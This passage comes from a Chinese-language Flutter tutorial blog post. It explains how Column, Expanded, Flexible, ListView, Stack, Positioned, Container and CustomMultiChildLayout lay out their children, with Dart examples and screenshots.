</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        mainAxisAlignment: MainAxisAlignment.spaceAround,
</span></span><span style="display:flex;"><span>        crossAxisAlignment: CrossAxisAlignment.stretch,
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//交叉轴：拉伸至与父限制一致（类型交叉轴的expanded）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        children: <span style="color:#66d9ef">const</span> [
</span></span><span style="display:flex;"><span>          FlutterLogo(size:<span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>          FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>          FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>        ],)),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/RFAs3YZqIyvbn7g.png" alt="截屏2021-11-03 上午11.38.30" style="zoom:25%;" />
<h4 id="22-expanded">2.2 Expanded</h4>
<p>使用<code>Expanded</code>组件尽可能多地填满剩余空间：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Center(
</span></span><span style="display:flex;"><span>  child: Container(
</span></span><span style="display:flex;"><span>    color: Colors.red[<span style="color:#ae81ff">200</span>],
</span></span><span style="display:flex;"><span>    child: Column(
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">//交叉轴：拉伸至与父限制一致（类型交叉轴的expand）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      children: [
</span></span><span style="display:flex;"><span>        FlutterLogo(size:<span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>        FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>        Expanded(child: Container(color: Colors.black)),
</span></span><span style="display:flex;"><span>        FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>      ],)),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/eksSJ6NKMBdh4oL.png" style="zoom:25%;" />
<p>通过指定<code>flex</code>参数设置两个<code>Expanded</code>之间的比例：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Center(
</span></span><span style="display:flex;"><span>  child: Container(
</span></span><span style="display:flex;"><span>    color: Colors.red[<span style="color:#ae81ff">200</span>],
</span></span><span style="display:flex;"><span>    child: Column(
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">//交叉轴：拉伸至与父限制一致（类型交叉轴的expand）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      children: [
</span></span><span style="display:flex;"><span>        FlutterLogo(size:<span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>        Expanded(flex:<span style="color:#ae81ff">1</span>, child: Container(color: Colors.green)),
</span></span><span style="display:flex;"><span>        FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>        Expanded(flex:<span style="color:#ae81ff">2</span>, child: Container(color: Colors.green)),
</span></span><span style="display:flex;"><span>        FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>      ],)),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/JMw7WFI8U2kabcB.png" alt="截屏2021-11-03 上午11.46.01" style="zoom:25%;" />
<p><code>Expanded</code>组件的本质是<code>Flexible</code>组件，例如：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Expanded(
</span></span><span style="display:flex;"><span>  child: Container(color: Colors.green)
</span></span><span style="display:flex;"><span>),
</span></span><span style="display:flex;"><span><span style="color:#75715e">//等价于
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>Flexible(
</span></span><span style="display:flex;"><span>  flex:<span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>  child: Container(color: Colors.green)
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><ul>
<li>
<p>使用Flexible时，Flutter首先会渲染Column中固定的项目，再用剩余的空间分比例占取。</p>
</li>
<li>
<p>Flutter在布局其中的非弹性控件时（例如FlutterLogo），会先假装自己是一个无界约束，例如</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Column(
</span></span><span style="display:flex;"><span>  children: [
</span></span><span style="display:flex;"><span>    LayoutBuilder(builder: (_, con) {
</span></span><span style="display:flex;"><span>      print(<span style="color:#e6db74">&#39;</span><span style="color:#e6db74">$</span>con<span style="color:#e6db74">&#39;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">//flutter: BoxConstraints(0.0&lt;=w&lt;=375.0, 0.0&lt;=h&lt;=Infinity)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      <span style="color:#66d9ef">return</span> FlutterLogo(size: <span style="color:#ae81ff">50</span>);
</span></span><span style="display:flex;"><span>    }),
</span></span><span style="display:flex;"><span>    Expanded(flex: <span style="color:#ae81ff">1</span>, child: Container(color: Colors.green)),
</span></span><span style="display:flex;"><span>    FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>    Expanded(flex: <span style="color:#ae81ff">2</span>, child: Container(color: Colors.green)),
</span></span><span style="display:flex;"><span>    FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>这是由于Column没有办法将自己受到的限制提前告知FlutterLogo，为了尽可能地不限制FlutterLogo，Column会传入一个Infinity“假装”自己是一个无界控件，但如果真的超出了限制，则会提示错误。</p>
</li>
</ul>
<h4 id="23-column中的listview">2.3 Column中的ListView</h4>
<p>倘若我们直接在Column中插入ListView，则会提示错误：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Column(
</span></span><span style="display:flex;"><span>  children: [
</span></span><span style="display:flex;"><span>    FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>    ListView(children: [	<span style="color:#75715e">//报错！
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      <span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">10</span>;i<span style="color:#f92672">++</span>) Text(<span style="color:#e6db74">&#34;ListView item </span><span style="color:#e6db74">$</span>i<span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    ]),
</span></span><span style="display:flex;"><span>    FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>正如我们上面提到的那样，Column在渲染时会假装自己是一个无界控件。Column的渲染分成两个阶段：</p>
<ol>
<li>
<p>渲染固定组件（非<code>Flexible</code>组件）</p>
</li>
<li>
<p>将剩余的空间分配给children中的各个弹性（也就是<code>Flexible</code>）组件</p>
</li>
</ol>
<p>​		而在上面的代码中，<code>ListView</code>不是一个Flexible组件，所以它参与第一个阶段的渲染，它发现自己受到的约束是Infinity（请参考2.2节的最后一段代码）。而ListView本身也是一个Infinity组件，于是它就真的使用Infinity的空间，超出了Column实际受到的限制（比如：屏幕尺寸），于是就会产生内容溢出的错误。</p>
<p>​		因此，如果我们需要在Column中使用ListView，就需要给予ListView限制，可以用Expanded包裹ListView：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Column(
</span></span><span style="display:flex;"><span>  children: [
</span></span><span style="display:flex;"><span>    FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>    Expanded(	<span style="color:#75715e">//使用Expanded包裹ListView
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      child: ListView(children: [
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">100</span>;i<span style="color:#f92672">++</span>) Text(<span style="color:#e6db74">&#34;ListView item </span><span style="color:#e6db74">$</span>i<span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>      ]),
</span></span><span style="display:flex;"><span>    ),
</span></span><span style="display:flex;"><span>    FlutterLogo(size: <span style="color:#ae81ff">50</span>),
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/X4p1wmiqUKI62yh.png" alt="截屏2021-11-03 下午12.12.23" style="zoom:25%;" />
<h3 id="三层叠组件stack">三、层叠组件——Stack</h3>
<h4 id="31-stack组件">3.1 Stack组件</h4>
<p>用下面一段代码展示Stack的作用：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Center(
</span></span><span style="display:flex;"><span>  child: Container(
</span></span><span style="display:flex;"><span>    color: Colors.grey, <span style="color:#75715e">//可以看到Stack本身的大小，受到children的影响
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child: Stack(
</span></span><span style="display:flex;"><span>      alignment: Alignment(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>),<span style="color:#75715e">//等价于Alignment.center
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      children: [
</span></span><span style="display:flex;"><span>        FlutterLogo(size: <span style="color:#ae81ff">100</span>),
</span></span><span style="display:flex;"><span>        Text(<span style="color:#e6db74">&#34;111&#34;</span>,style: TextStyle(fontSize: <span style="color:#ae81ff">150</span>)),
</span></span><span style="display:flex;"><span>        Positioned(
</span></span><span style="display:flex;"><span>          left: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>          top: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>          child: Container(color: Colors.red,width: <span style="color:#ae81ff">30</span>,height: <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>        ),
</span></span><span style="display:flex;"><span>      ],),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/y8FeoVPAhQ2UYjT.png" style="zoom:25%;" />
<h4 id="32-stack的渲染过程">3.2 Stack的渲染过程</h4>
<p>​		与Column组件类似，Stack中的成员分成两类：有位置的（也就是<code>Positioned</code>）和没有位置的。</p>
<p>​		在渲染的过程中Stack如何确定其自身的大小呢？</p>
<ol>
<li>Stack会首先将没有位置的组件全部渲染出来，并以此确定其自身的大小；</li>
<li>然后再按照位置渲染<code>Positioned</code>组件。</li>
</ol>
<p>​		我们再看一个例子：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>  color: Colors.grey,
</span></span><span style="display:flex;"><span>  child: Stack(
</span></span><span style="display:flex;"><span>    alignment: Alignment(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>),
</span></span><span style="display:flex;"><span>    children: [
</span></span><span style="display:flex;"><span>      Positioned(	<span style="color:#75715e">//Stack本身的大小与Positioned组件无关！
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        left: <span style="color:#ae81ff">0</span>, bottom: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        child: FlutterLogo(size: <span style="color:#ae81ff">300</span>)
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>      Text(<span style="color:#e6db74">&#34;111&#34;</span>,style: TextStyle(fontSize: <span style="color:#ae81ff">150</span>)),
</span></span><span style="display:flex;"><span>      Positioned(
</span></span><span style="display:flex;"><span>        left: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        top: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        child: Container(color: Colors.red,width: <span style="color:#ae81ff">30</span>,height: <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ],),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>也因此，FlutterLogo没有被完整渲染出来：</p>
<p>​	<img src="https://i.loli.net/2021/11/03/zSFwXPbdurvoVOB.png" style="zoom:25%;" /></p>
<p>​		我们可以指定<code>fit属性</code>来将父组件的约束传给下级组件。不是让<code>Stack</code>本身扩展，而是让其中的<code>children</code>受到<code>Stack</code>上级组件的约束，<code>Stack</code>一般也会受到影响，但那只是一个副作用：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Stack(
</span></span><span style="display:flex;"><span>  fit: StackFit.expand,
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>	constraints: BoxConstraints(
</span></span><span style="display:flex;"><span>  	minWidth:<span style="color:#ae81ff">30</span>,
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>  child: Stack(
</span></span><span style="display:flex;"><span>  	fit: StackFit.passthrough,
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//直接将上级的非紧约束传给children
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  )
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><h4 id="33-positioned组件">3.3 Positioned组件</h4>
<p>首先，Positioned会强行要求其中的位置信息达成，也就是间接地确定了其中控件的大小：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>  color: Colors.grey,
</span></span><span style="display:flex;"><span>  child: Stack(
</span></span><span style="display:flex;"><span>    alignment: Alignment(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>),
</span></span><span style="display:flex;"><span>    children: [
</span></span><span style="display:flex;"><span>      Positioned(
</span></span><span style="display:flex;"><span>        left: <span style="color:#ae81ff">0</span>,	<span style="color:#75715e">//假如我们既设置了left，又设置了right，会怎么样呢？
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        right: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        child: Container(color: Colors.blue, width: <span style="color:#ae81ff">30</span>, height: <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>        		<span style="color:#75715e">//答案是：Container本身的w和h将会失效！
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      ),
</span></span><span style="display:flex;"><span>      Text(<span style="color:#e6db74">&#34;111&#34;</span>,style: TextStyle(fontSize: <span style="color:#ae81ff">150</span>)),
</span></span><span style="display:flex;"><span>      Positioned(
</span></span><span style="display:flex;"><span>        left: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        top: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        child: Container(color: Colors.red,width: <span style="color:#ae81ff">30</span>,height: <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ],),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/3EeR86ctANnlgHp.png" alt="截屏2021-11-03 下午12.43.16" style="zoom:25%;" />
<p>​		另外，如果我们定义了Positioned，但却没有给它传递任何信息，那么Stack就会将Positioned忽略，此时Positioned里面的组件将会参与第一阶段的渲染，也就是会影响Stack本身的大小。</p>
<p>​		我们可以通过指定<code>clipBehavior</code>属性来确定超出部分是否会被裁减：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>  color: Colors.grey, <span style="color:#75715e">//可以看到Stack本身的大小，受到children的影响
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  child: Stack(
</span></span><span style="display:flex;"><span>    clipBehavior: Clip.none,<span style="color:#75715e">//默认Clip.hardEdge
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//等价于旧版本的overflow: Overflow.visible,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    alignment: Alignment(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>),<span style="color:#75715e">//等价于Alignment.center
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    children: [
</span></span><span style="display:flex;"><span>      Positioned(
</span></span><span style="display:flex;"><span>        left: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        width: <span style="color:#ae81ff">300</span>, <span style="color:#75715e">//溢出边框啦！
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        child: Container(color: Colors.blue, width: <span style="color:#ae81ff">30</span>, height: <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>      Text(<span style="color:#e6db74">&#34;111&#34;</span>,style: TextStyle(fontSize: <span style="color:#ae81ff">150</span>)),
</span></span><span style="display:flex;"><span>      Positioned(
</span></span><span style="display:flex;"><span>        left: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        top: <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>        child: Container(color: Colors.red,width: <span style="color:#ae81ff">30</span>,height: <span style="color:#ae81ff">30</span>)
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ],),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/VTzH7MPkRSw8csg.png" alt="截屏2021-11-03 下午12.52.04" style="zoom:25%;" />
<p>​		需要注意的是，如果控件的尺寸超出了Stack本身的尺寸，那么在Stack外的点击事件将不会生效。因为那里的点击事件不会发送给Stack，那么也就不会传送给Stack的children。</p>
<p>​		另外，即使设置了<code>Clip.hardEdge</code>，对于Transform指定的变换位移，超出部分依然不会被裁减，这也是因为Flutter的优化机制导致的。</p>
<h3 id="四再谈container">四、再谈Container</h3>
<h4 id="41-container语法糖">4.1 Container语法糖</h4>
<p>​		一般来说，Container会传递一个紧约束，我们可以通过Align系列组件放松约束：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//很繁琐
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>Container(
</span></span><span style="display:flex;"><span>  color: Colors.orange,
</span></span><span style="display:flex;"><span>  width: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>  height: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>  child: <span style="color:#66d9ef">const</span> Padding(
</span></span><span style="display:flex;"><span>    padding: EdgeInsets.all(<span style="color:#ae81ff">24.0</span>),
</span></span><span style="display:flex;"><span>    child: Align(
</span></span><span style="display:flex;"><span>      alignment: Alignment.topLeft,
</span></span><span style="display:flex;"><span>      child: FlutterLogo(),
</span></span><span style="display:flex;"><span>    ),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>​		这样做实在太繁琐，我们可以直接使用Container中的<code>padding</code>和<code>alignment</code>属性，这是Flutter提供的语法糖：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//与上面的代码等价
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>Container(
</span></span><span style="display:flex;"><span>  color: Colors.orange,
</span></span><span style="display:flex;"><span>  width: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>  height: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>  padding: <span style="color:#66d9ef">const</span> EdgeInsets.all(<span style="color:#ae81ff">24.0</span>),
</span></span><span style="display:flex;"><span>  alignment: Alignment.topLeft,
</span></span><span style="display:flex;"><span>  child: <span style="color:#66d9ef">const</span> FlutterLogo(),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>另外，还有一些其他的语法糖，例如<code>color</code>、<code>decoration</code>、<code>foregroundDecoration</code>、<code>constraints</code>对应<code>ColoredBox</code>、<code>DecoratedBox</code>、<code>ConstrainedBox</code>，<code>height/width</code>对应<code>SizedBox</code>。</p>
<ul>
<li>color =&gt; ColoredBox</li>
<li>decoration / foregroundDecoration =&gt; DecoratedBox</li>
<li>constraints =&gt; ConstrainedBox</li>
<li>clipBehavior =&gt; Clip</li>
<li>height/width =&gt; SizedBox</li>
<li>margin =&gt; Padding 添加在Container外</li>
<li>padding =&gt; Padding 添加在child外，Container内</li>
<li>transform =&gt; Transform组件</li>
</ul>
<h4 id="42-container行为">4.2 Container行为</h4>
<p>​		一般来说，如果给Container指定一个child，那么Container的大小就会与其child一致，除非您设置了alignment属性。否则就会直接占满父组件。</p>
<p>​		而如果Container在诸如Column这样主轴无界的组件内，那么它的该轴上的长度会被调整为0。</p>
<p>​		使用margin属性时也会影响Container的大小。</p>
<p>​		<code>Container</code>如何知道自己所在的组件是否有界呢？这里可以参考<code>LimitedBox</code>组件，当出现某个尺寸无穷大的情况，会自动缩减成<code>maxHeight</code>，而如果不是infinity的情况，该轴的尺寸则可以超过<code>maxHeight</code>，也就是<code>LimitedBox</code>此时无任何效果，因此，这里的<code>maxHeight</code>其实可以等同于<code>Placeholder</code>中的<code>fallbackHeight</code>属性。</p>
<p>​		更多信息，可以参考Container的源代码。</p>
<p>​</p>
<h3 id="五custommultichildlayout">五、CustomMultiChildLayout</h3>
<h4 id="51-制作一个自己的stack">5.1 制作一个自己的Stack</h4>
<p>我们可以使用<code>CustomMultiChildLayout</code>组件自制一个简易的Stack：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>CustomMultiChildLayout(
</span></span><span style="display:flex;"><span>  delegate: MyDelegate(),
</span></span><span style="display:flex;"><span>  children: [
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//标记其中的组件，使得MyDelegate中可以找到这些组件
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//LayoutID与Positioned类似，只能在这里使用
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//* 这里的Z-Order由children顺序决定，与MyDelegate无关！
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    LayoutId(id: <span style="color:#ae81ff">1</span>, child: FlutterLogo()),
</span></span><span style="display:flex;"><span>    LayoutId(id: <span style="color:#ae81ff">2</span>, child: FlutterLogo()),
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>自定义一个MyDelegate类作为代理：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyDelegate</span> <span style="color:#66d9ef">extends</span> MultiChildLayoutDelegate {
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> performLayout(Size size) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (hasChild(<span style="color:#ae81ff">1</span>)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">final</span> size1 <span style="color:#f92672">=</span> layoutChild(
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">1</span>, <span style="color:#75715e">//1号组件layout，并得到它的size（会想：向下传递限制，向上传递大小）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          BoxConstraints.tight(<span style="color:#66d9ef">const</span> Size(<span style="color:#ae81ff">100</span>, <span style="color:#ae81ff">100</span>)) <span style="color:#75715e">//向下传递限制
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          );
</span></span><span style="display:flex;"><span>      positionChild(<span style="color:#ae81ff">1</span>, Offset.zero);  <span style="color:#75715e">//将1号组件放在左上角
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (hasChild(<span style="color:#ae81ff">2</span>)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">final</span> size2 <span style="color:#f92672">=</span> layoutChild(
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">2</span>, <span style="color:#75715e">//2号组件layout，并得到它的size（会想：向下传递限制，向上传递大小）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          BoxConstraints.tight(<span style="color:#66d9ef">const</span> Size(<span style="color:#ae81ff">200</span>, <span style="color:#ae81ff">200</span>)) <span style="color:#75715e">//向下传递限制
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          );
</span></span><span style="display:flex;"><span>      positionChild(<span style="color:#ae81ff">2</span>, Offset.zero); <span style="color:#75715e">//将2号组件放在左上角
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//返回true表示永远需要重新更新，这个函数用作优化，这里暂不考虑
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">bool</span> shouldRelayout(_) <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/6nw7UWOLHYAGJR2.png" alt="截屏2021-11-03 下午3.28.34" style="zoom:25%;" />
#### 5.2 简易Column
我们可以通过类似方法自制一个简易的Column：
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>positionChild(<span style="color:#ae81ff">2</span>, Offset(<span style="color:#ae81ff">0</span>,size1.height)); <span style="color:#75715e">//将2号组件放在1号组件下面：类似Column
</span></span></span></code></pre></div><p>同样，我们可以设置<code>BoxConstraints.loost(size)</code>来传递松约束：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> performLayout(Size size) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (hasChild(<span style="color:#ae81ff">1</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">final</span> size1 <span style="color:#f92672">=</span> layoutChild(
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">1</span>, <span style="color:#75715e">//1号组件layout，并得到它的size（会想：向下传递限制，向上传递大小）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      BoxConstraints.loost(size) <span style="color:#75715e">//向下传递限制
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    );
</span></span><span style="display:flex;"><span>    positionChild(<span style="color:#ae81ff">1</span>, Offset.zero);  <span style="color:#75715e">//将1号组件放在左上角
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (hasChild(<span style="color:#ae81ff">2</span>)) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">final</span> size2 <span style="color:#f92672">=</span> layoutChild(
</span></span><span style="display:flex;"><span>      <span style="color:#ae81ff">2</span>, <span style="color:#75715e">//2号组件layout，并得到它的size（会想：向下传递限制，向上传递大小）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      BoxConstraints.tight(<span style="color:#66d9ef">const</span> Size(<span style="color:#ae81ff">200</span>, <span style="color:#ae81ff">200</span>)) <span style="color:#75715e">//向下传递限制
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    );
